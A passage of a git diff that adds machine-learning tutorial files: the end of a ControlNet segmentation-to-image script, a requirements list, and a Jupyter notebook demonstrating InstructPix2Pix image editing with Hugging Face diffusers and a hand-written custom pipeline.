+ [25, 194, 194], + [102, 255, 0], + [92, 0, 255], +]) + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg") +image_input + +# %% +# get the pixel values +pixel_values = image_processor(image_input, return_tensors="pt").pixel_values + +# do semantic segmentation +with torch.no_grad(): + outputs = image_segmentor(pixel_values) + +# post process the semantic segmentation +seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0] + +# add colors to the different identified classes +color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3 +for label, color in enumerate(palette): + color_seg[seg == label, :] = color + +# convert into PIL image format +color_seg = color_seg.astype(np.uint8) +image_seg = Image.fromarray(color_seg) + +image_seg + +# %% +image_output = pipe("A crowd of people staring at a glorious painting", image_seg, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("Aliens looking at earth from inside their spaceship from a window, not creepy, not scary, not gross, octane render, smooth", image_seg, num_inference_steps=20).images[0] +image_output + +# %% + + + diff --git a/machine-learning/control-image-generation-with-controlnet/requirements.txt b/machine-learning/control-image-generation-with-controlnet/requirements.txt new file mode 100644 index 00000000..6efce1d9 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/requirements.txt @@ -0,0 +1,6 @@ +xformers +diffusers +transformers +accelerate +controlnet_aux +opencv-contrib-python \ No newline at end of file diff --git a/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..5d744500 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb @@ -0,0 +1,12948 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ifD7o7YOTehV", + "outputId": "8b42a9b5-d180-4986-b868-900a349b01bc" + }, + "outputs": [], + "source": [ + "!pip install -qU diffusers accelerate safetensors transformers" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "CqAnOnnOcp4W" + }, + "source": [ + "# Hugging Face" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "B2QCQqM9ckWd" + }, + "outputs": [], + "source": [ + "import PIL\n", + "import requests\n", + "import torch\n", + "from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yzLP1VRHdBY7" + }, + "outputs": [], + "source": [ + "def download_image(url):\n", + " image = PIL.Image.open(requests.get(url, stream=True).raw)\n", + " image = PIL.ImageOps.exif_transpose(image)\n", + " image = image.convert(\"RGB\")\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 829, + "referenced_widgets": [ + "baf9ec5ebd604db9b1f5dfa948742aa2", + "b9a0167274eb44b7be65b17130d3ade6", + "44638b1824bc48de85029440f2f4a612", + "b9f1fb9570e148e7852f4f569ae82852", + "9f75675721ae47eb99c80fedb78ea2b7", + "876c7d9ec56145338bb7b960b52bddd0", + "fa82f3acd0794629b0a5af2383807c2c", + "bb3842e44e0a49f2bec66a0bbb971348", + "30e99a47aedb446ab999975c08fd96e3", + "686e9a80d1554e6ca5ff8e1df5188c31", + "20d097bf20d541bda6c8b77a0d021c9a", + "c327ed98ce284b84ae4cc89d9797b15f", + "14aad595b905426b8d7fc4390bd755d8", + "d876c82248f1418e83462dcc38f96469", + "0f79fff269c349648fb6e15bf127a7c8", + "768863d6e7e747709c4413764e7e7093", + "25082abec02c47aab0f6c66225815b6b", + "721121db2dc54b14aec771d3c6cdd0fd", + "f6787f179f0c4dc6b420085606784de9", + "ab713f31f1d34894b4826a67de80daf3", + "55e9c8210ea743939cdcdf6b873e00a1", + "7e4e6d45329a415cba65daa185369ad6", + "c85450a2f1334f9aa43211929b1714e1", + "1707f4e4e7a64dbb8a38f7042836bfb2", + "3b9b27b4550c453f82f000c03d1209a7", + "811695ab3aef4a368d2949af43b5f589", + "dfcd450b24d244ab86ccfc1b602a1d7e", + "dca153f028a14e3e959c9fe29816223f", + "b0367ea7d4b549bc85b64029a6da3ad7", + "c4783205744246c99a52bb6bb8df3d7d", + "7d941358dd1b4298bf1bf803b625f764", + "8af370239d6f45f48cd1f6befdbd9211", + "247e38c4011445f1adb3a832ddb53e2e", + "91b59a00a5214cd7af5fad47ce24e756", + "90443b91e1f448f78274e3157290a8e0", + "6be67e6518ea45a0b14a24c79b947617", + "4cbd69647642484f9058b10156001882", + "1b8ccf560cce482caf4d08a3ed02f0fe", + "f3f3d0fa7c164320b7f11f68a3915899", + "ee9c24e8b40948d398b026d30cc5cee7", + "d9069541f2f246b99881a937f384c7ab", + "c5ffdd678bd444d6b66bc7525947b716", + "cce1c917ad4a4b2c93369e249cd1c13c", + "ff7172bc118f4f22bc1acbe531787b42", + "188e9e93c80d4cc699990feb5b52eaee", + "2fb28ad0fe464c7a8b1f3c9354140e51", + "4b63548f0285403e9e4f2431632cc3ae", + "6fea93ee309c49be85992b1a18756101", + "d220c9f6c0684da98525ddfb0ccdf8f5", + "4e3eebfc758c467fbf44e81c0de7068d", + "f0c88afdf3ac4ca3b63be6f561bbf5f0", + "0a2014cc648840249d57eb9c569e9fa1", + "3467d3ba1eeb44c69149cdbc55469f39", + "6168a5fc0aeb44cfab1ca7753ecedced", + "aabeb052d7644bdcab945fdd5acf3cd7", + "ac8bc6df18574f06b4fe458c3dff0f24", + "6a6320e8239d4413b9fc766b2e06ff1e", + "fb21fb73c13f4b12a6e917160f5891ed", + "d7199c08026f4da58da262e192602fc4", + "ee194df227d447d9a5a36d4ec08d3a47", + "af5bcc7147324069a3d292911d70d057", + "95a784af30bd4bde911e0ee76e343e72", + "8b08803f05bb47a1b83ebeff76e7caf7", + "27544c3774b54c018270a66ebbd06edb", + "86c728930faa41bcad11875ca74af210", + "1fcc4a24bf9b4ec6aec98800a872966f", + "ff5ca71e3f254e82ba648f2b5a000de2", + "efa4ce6a37094cd483fa4e39b7ae04eb", + "1529067d721f4287b26e576942b5bc97", + "1763740db60f490493e2fe10d35cc58e", + "40ea712393314cfe9452f6b14bfd58e6", + "b7db2ab7ac704366b20c166c701019c0", + "8c01f8b4191048c5b596bb5da0c73d2f", + "bbbca2e29d6444f7ba4e592068124650", + "42f14a72c44047b695a6b2bfc5184370", + "e221a677aab740ea888cb7faf343dfbb", + "12694ca9da6c43eaa5640a47cea2d10b", + "9bc9af26c0bd4a2889ebff1c5cc14dc4", + "405d6f07be5743be8ea10f7e2d4ee73d", + "06e488fd0cbb44a79328b0c88392b650", + "8779a1cb87f6461a9a152ece606fa948", + "b897a3bfccf040548ccf16ef62315d5f", + "3b7d6992813e4a32aa5c6d959ac24b27", + "78684c2b2b05406ba992fe197c947bcc", + "7af9fef14d3a4464aa16232f9d2cf94a", + "c13cbe7f79d64c9a9ae4fb90a5cbef9a", + "1974a1b14cd74807b872ad12380d0fe3", + "990b53f96b66496bb27edb5c1ea012bc", + "224de1d94c8047c49546f4d3a49b86a6", + "f0aebefd751e48939aae8e3eac7adfde", + "d7335eeea61f49a291bbc9f120c823e7", + "7dafba4f66a245659587c06edbffcf51", + "6f5b06b458d7482ba9685013cad5bfa7", + "90ddc85bb3e84773acf73b9a16b4f0be", + "440bb669cff048cea2363b50d28521ed", + "21e6f865412f4787b04b69da0cafa300", + "d6b66675891141aba38d8e8bd130c47c", + "ee87d3500d5a483b8a03b0c499392928", + "5a4843d7d25545dea9b6e53cb091321b", + "305d426ec46a4d14876f9d988fa7cb5c", + "6b403cea94ae4e2887302d164e991cf8", + "c59286b70fe74bbea779bbfae03e1a87", + "d138d9f2076c493da68ff7edb0bc36c7", + "04ec14e8bc8f4ad5827e351c01e5a1ee", + "a464d6a9bc374081a75ad8a0514c869a", + "0c1419eec41b48f093ec53410c10c583", + "80e6d8758fe646e2a43d45e31d157b26", + "fd5335a0dce5483bba6b91db1e32346e", + "f6239b69aa6e4ece90cdb6fabf707c57", + "881d8ed91e394981b6320122489fe8bc", + "3eccfb04c05445f8a45a56afd74f7e41", + "afea13c7ba3a44eeab58c5069f677a61", + "0b695e5be5184a43a9f26b21f69a4338", + "b6e068b2f21844dc9c184ec49af6b48f", + "dc22f7fca8eb4d258406b3b53af177cc", + "e0424e3a00f24718ab911e6162ce8d2c", + "0ef6a22743594f0081b7af4c1ec4ab71", + "0cc9773ba8b3455495375b0b955891e6", + "95adb39e73614c96af18ccb2468d5b37", + "fe213a7fa3c44223847fd5cf3b05a9a5", + "f546e96ee51643839dd2d98d09df9c87", + "a76fd8c2c78546a8a4cb5446c7b57505", + "9d6a05a53dd24fac9e093e0b278e3381", + "c9dd35af3a2449f7b2b7be3915b01a70", + "b40740317d3a4116a5b141ad4b6cf6ed", + "8babbe3e6d994cbeaa63e70192e858a4", + "d3e78f87ec5c4c3e9e1efafefadea3bd", + "8214d94c9de5436a9ed42367af453491", + "282151a48c29477cb45f8d46beb22f5e", + "1895d19dcd574f56b7148ca7235fd0b4", + "dfe593ba3bb440e0a29864c62f7b049e", + "03c6a309fc494734bd9ebf16634f9063", + "6972c854e0ed46949fa89673845aa9b5", + "b74ed8b4d7604233a405f1413959b644", + "c61940c9c4174fa8b515bbda3b612146", + "a8983f58e5c44385864ba164e3d00083", + "d11ce4de43984beab4937652c55419cb", + "422cdb3a6aed4177aba5f6e9ac77e1bf", + "14fe6c5fa5274bde8d90be608d3a6814", + "65947bf28d8c47059e1dae1f1d2f97b2", + "93b5852ebf584c3e95ca3275b2c9b698", + "1d631802aab44912a6097e97d2675102", + "c772f5d3ffca49a2a4c0d16a4469105c", + "eb33b9af3ec14698bec89ff8b66bae06", + "b00687d7649d45af882cdd6d0f97591d", + "62905ea2ea4045aeb5ec9a8426247100", + "9eb63a9230ba472d87cf106e8abb5dff", + "fcc8de512f89491ab8b7a50cc37f83f5", + "48d6f53c34b84be4a219cc30ac539aeb", + "6e4877900597413e96d01faf5f76b700", + "6923960e3752477590c9c9ebc862163c", + "b286d3656c404762b3aaff97f4a5892d", + "8811223ffe8547e99b837842150396f4", + "4e55fede968943718a3c10962f5f708b" + ] + }, + "id": "YUXSNFWQckY6", + "outputId": "68b5d0d1-14e0-440d-8fd1-ffa021810b7a" + }, + "outputs": [], + "source": [ + "model_id = \"timbrooks/instruct-pix2pix\"\n", + "pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None)\n", + "pipe.to(\"cuda\")\n", + "pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "8TsGblmidHew", + "outputId": "2f023570-99cc-4a79-aca4-bbee89c22965" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "039beb2fc4c6412d9e05d9d50884e940", + "0cf59b40f6304ec38bdaaee06943173f", + "63ecaa7f41ce4289aa768b77e9ceebe7", + "2a8a4ed0b2854b558efd5acce8dcf5c2", + "19469649ab6b44f8b1d6408ac2646579", + "1cbc65f4245e4c25a64827f0e2beb08d", + "59e8c90ecdf04c2b89f9a539e7f7fdbb", + "7ede80a1f6544f2a8dfd631cb6d4eaca", + "3bcb60cbd7ab48e2884460a1e539bd12", + "ee1a66e0f3ab4c67beef305317124a0f", + "b390338978084bd19f7e7e6ce8ea7e44" + ] + }, + "id": "sAoN5eGgdEku", + "outputId": "12f7ab74-6115-45ed-9092-936916fe6d69" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "b4c47f72d4204e2abbe9781707b754ee", + "8e4655cdbd0348bb86523938a0d95367", + "b99c852bd2f54c79afac0eb0049c5dd0", + "5fd422b13c324a8baf619da5d1ad0b8e", + "dc16acab929344cab2be08d297182843", + "a613c20dd06d4754b7a890d802476395", + "7342611c130c4e3da540d7ae0ac95b52", + "d1d635fff656454e9b0cdba740067c07", + "e535c42b82cb4e1fa4fbf492768e5762", + "8f10179341c44eb192f865feb143c57e", + "7f58916aaee04e5b89978d0111acf83d" + ] + }, + "id": "frOPmxYejP1g", + "outputId": "c0558f66-35ea-4a3e-f698-93d94894631c" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 444 + }, + "id": "oIzmKWERckbG", + "outputId": "2470148e-11be-4a08-c685-bb9eb5cf7f82" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "3593ebaab56e4bca9706c5775ae87b75", + "dc8d5cf759be4ab08d801e1d4758b34a", + "ef3472cacb4d426cbacec25777507432", + "d5a6cb28917b48d4910903e016319aec", + "ba1422edddc447b78ba7fbf4ba11e364", + "8bb4488a1c1c4defafb072afa695918f", + "2dc8bda3ec0046b09c6422b5248f1312", + "50569e1467f7411e862553111c97afb3", + "72effdc24eb84648b6838729c11fed72", + "ecc2c348430c471791a449784f5df44c", + "dd94c326988a41cd8b57f4dd9a26f499" + ] + }, + "id": "p2rDwOJ2cken", + "outputId": "4ba88e9a-9da1-4ad4-9f76-ee8bddd3e85e" + }, + "outputs": [], + "source": [ + "prompt = \"turn the bird to red\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 445 + }, + "id": "Ka85jznIggXl", + "outputId": "9e11a102-9fb1-49ab-e6e6-5bc69740af5e" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "c3514684a02e496a875cb8fa0e86b449", + "0ace66c377a14034a594774ec024e074", + "865a15f101944359bbf30226e4cc1c90", + "5caac903dab34c119294cd4bfb65725c", + "cf013b91c09f493b94c050f224449336", + "9d28ea1de5494de5b911c1f120185b7a", + "9887290953b6414eacb4396a5b240a2e", + "5a00f85a6e9e44fcaa25dd0d982f2d0f", + "14a49cf00e9744dc8f2ac8ec3f19c90c", + "eed1d1e67a1d4a20ba49586148ca5a2a", + "147c95feace0447ca58cc4079cb2cbe5" + ] + }, + "id": "HQ6tutGNggZf", + "outputId": "f84857ef-4a50-4305-dfd7-05840d893ae2" + }, + "outputs": [], + "source": [ + "prompt = \"turn the suitcase yellow\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mXejIqrcggbu" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "CgINC4vJggfD" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "mPGPiJhXcsr4" + }, + "source": [ + "# Custom implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5aBPcPxqePIB" + }, + "outputs": [], + "source": [ + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "F2gPSPPyZP0_" + }, + "outputs": [], + "source": [ + "class InstructPix2PixPipelineCustom:\n", + " \"\"\"custom implementation of the InstructPix2Pix Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " scheduler,\n", + " image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.image_processor = image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt, prompt_negative=None):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + "\n", + " if prompt_negative is None:\n", + " prompt_negative = ['']\n", + " elif isinstance(prompt_negative, str):\n", + " prompt_negative = [prompt_negative]\n", + "\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds(prompt_negative)\n", + "\n", + " # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice\n", + " # this is different from other diffusion pipelines\n", + " prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"transform image from pytorch tensor to PIL format\"\"\"\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_image_latents(self, image):\n", + " \"\"\"get image latents to be used with classifier free guidance\"\"\"\n", + "\n", + " # get conditional image embeds\n", + " image = image.to(self.device)\n", + " image_latents_cond = self.vae.encode(image).latent_dist.mode()\n", + "\n", + " # get unconditional image embeds\n", + " image_latents_uncond = torch.zeros_like(image_latents_cond)\n", + " image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond])\n", + "\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size, num_channels_latents, height, width))\n", + " image_latents = image_latents.to(self.device)\n", + "\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " image_latents,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale,\n", + " image_guidance_scale):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by image_latents\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents *thrice* to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 3)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + "\n", + " latent_model_input = torch.cat([latent_model_input, image_latents], dim=1)\n", + "\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t,\n", + " encoder_hidden_states=prompt_embeds)['sample']\n", + "\n", + " # separate predictions into conditional (on text), conditional (on image) and unconditional outputs\n", + " noise_pred_text, noise_pred_image, noise_pred_uncond = noise_pred.chunk(3)\n", + " # perform guidance\n", + " noise_pred = (\n", + " noise_pred_uncond\n", + " + guidance_scale * (noise_pred_text - noise_pred_image)\n", + " + image_guidance_scale * (noise_pred_image - noise_pred_uncond)\n", + " )\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " prompt_negative=None,\n", + " num_inference_steps=20,\n", + " guidance_scale=7.5,\n", + " image_guidance_scale=1.5):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative)\n", + "\n", + " # preprocess image\n", + " image = self.image_processor.preprocess(image)\n", + "\n", + " # prepare image latents\n", + " image = image.half()\n", + " image_latents = self.get_image_latents(image)\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " height_latents, width_latents = image_latents.shape[-2:]\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.vae.config.latent_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " image_latents,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale,\n", + " image_guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16) # change dtype of latents since\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = image.detach() # detach to remove any computed gradients\n", + " image = self.transform_image(image)\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "itugpKfQZP3S" + }, + "outputs": [], + "source": [ + "# We can get all the components from the InstructPix2Pix Pipeline\n", + "vae = pipe.vae\n", + "tokenizer = pipe.tokenizer\n", + "text_encoder = pipe.text_encoder\n", + "unet = pipe.unet\n", + "scheduler = pipe.scheduler\n", + "image_processor = pipe.image_processor" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Z4mM2_z_ZP5f" + }, + "outputs": [], + "source": [ + "custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "NjkhgTz0mIPi", + "outputId": "56a214f8-02c5-4157-8648-6165bd4f2ec7" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "pcG55mdtZP8N", + "outputId": "8c91332c-2b17-49b5-c3aa-416b141a035e" + }, + "outputs": [], + "source": [ + "# sample image 1\n", + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "l0m6vIq4ZP-K", + "outputId": "a97e7c0d-22a5-490a-c476-22d27aebd76a" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "3eDhpvlHZQAo", + "outputId": "4d93878c-1a89-44ff-a823-4f8ca97c5e88" + }, + "outputs": [], + "source": [ + "# sample image 2\n", + "prompt = \"turn into 8k anime\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "6rAfgSFK3s-B" + }, + "source": [ + "# Limitations" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "hKs8yic0RQFi", + "outputId": "68fd4162-3c98-488c-d3b1-164efbdc80ad" + }, + "outputs": [], + "source": [ + "prompt = \"turn entire pic into anime frame\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "61YH9qpyRXiQ" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "OU9zLHTR2H_j" + }, + "source": [ + "# Rough\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "b1ac65dd59c94a269c3660d4ebd8fa16", + "76732cd3aa5745058c70bb1aa44b1667", + "09bc80852b334a6f9905c6d93eada57c", + "c1ee4f8f667743ed94a939a9fe749e39", + "ff7c3d43d89a40a9941f2b9baf8e9fd9", + "1494c31d3d114a13a3ebbe85df2316ba", + "9604b8f7a8ef4fa6b488ee1892e138d2", + "7bcb49396cf84ea6878d5ceddd480326", + "8c8b4b87df9242318f1ceaf5fc00b216", + "25c92f3c188e4009ba806c6d56cc66c4", + "1da8ad0bdb2547cdb4edc5bc5df7a8ea" + ] + }, + "id": "i5lucCESjxyr", + "outputId": "19b61940-802c-4e44-a2b2-c63ffba8faa6" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "6d22121bbb6f4bcaa1b5f355d0f2e8a1", + "ed4320b4d8284ead91830c0b11b9bc56", + "1fe983e43b7f4bca905a65b07eef5491", + "6a234c3c85734a2cae1348a3329bb659", + "d3415f46386c49ce9593585d421657fa", + "f25cbe3e352d44c9849191bbb8e9d4d9", + "3bffddd95fdf4e3c896e1554a239273a", + "e92d28da4f314f73b4c4cccde114f1f4", + "f7728f9c5b0f4f4ca084119f74e9dcaf", + "b77a65348afa4b6aae8540dd5d9e4d2c", + "960b8d20472f40078fc9566abc065cc1" + ] + }, + "id": "LCMg5TPOjP30", + "outputId": "e2405a06-116a-411b-ad80-0b8afa5f5bef" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=2).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "16063a5dd86649f2b7f37184c7ac0593", + "fb156e0150e24ec9a367a1e26c4750ec", + "925594a07eba4bdc92e59ef1df5ea63e", + "d5228dfbe50b4d078996b74d1b71ba28", + "6daa2b5b26e4459aa5bdebd0062cf021", + "740417603bd94bf698fdba5b374d7c3a", + "2ddf4013353e48b9a62c70e2eb68502e", + "e25cb8e08bae4c56a84874cf31cd84c4", + "92d4de954f0442778144c26caae5ee83", + "6b04b7bfcca645368b1287a3467bc3a1", + "4e8ec740f2ba45d1817c46b449e34423" + ] + }, + "id": "-nR6LrUMjP7U", + "outputId": "f6c19181-afaa-47a0-a950-a6b0a740ca81" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "1b448e7eb7c842c2ad3598e401c5a101", + "b25958353ffe4063bf8d09ed149c2550", + "e25496021c9f4046bb83f585601baaf4", + "69484df819aa44b3858b76432cc84beb", + "f6ecc0d4fe1545d8bd0a16de5960285b", + "b5c2efd1f5044b68bfb75d5fe16d7829", + "48faccb381254cd99a649c239a419649", + "48b23ac8e7ce46239504712135b41444", + "6f520ae078104d70945b5d42ded1a75a", + "a726d364296442e196e973e575578c30", + "94b5651c5cd14901ac59ce22bb80fcfa" + ] + }, + "id": "LUXIW3bkjW3R", + "outputId": "aab0ef83-9119-461c-81e5-4c65d2285595" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + 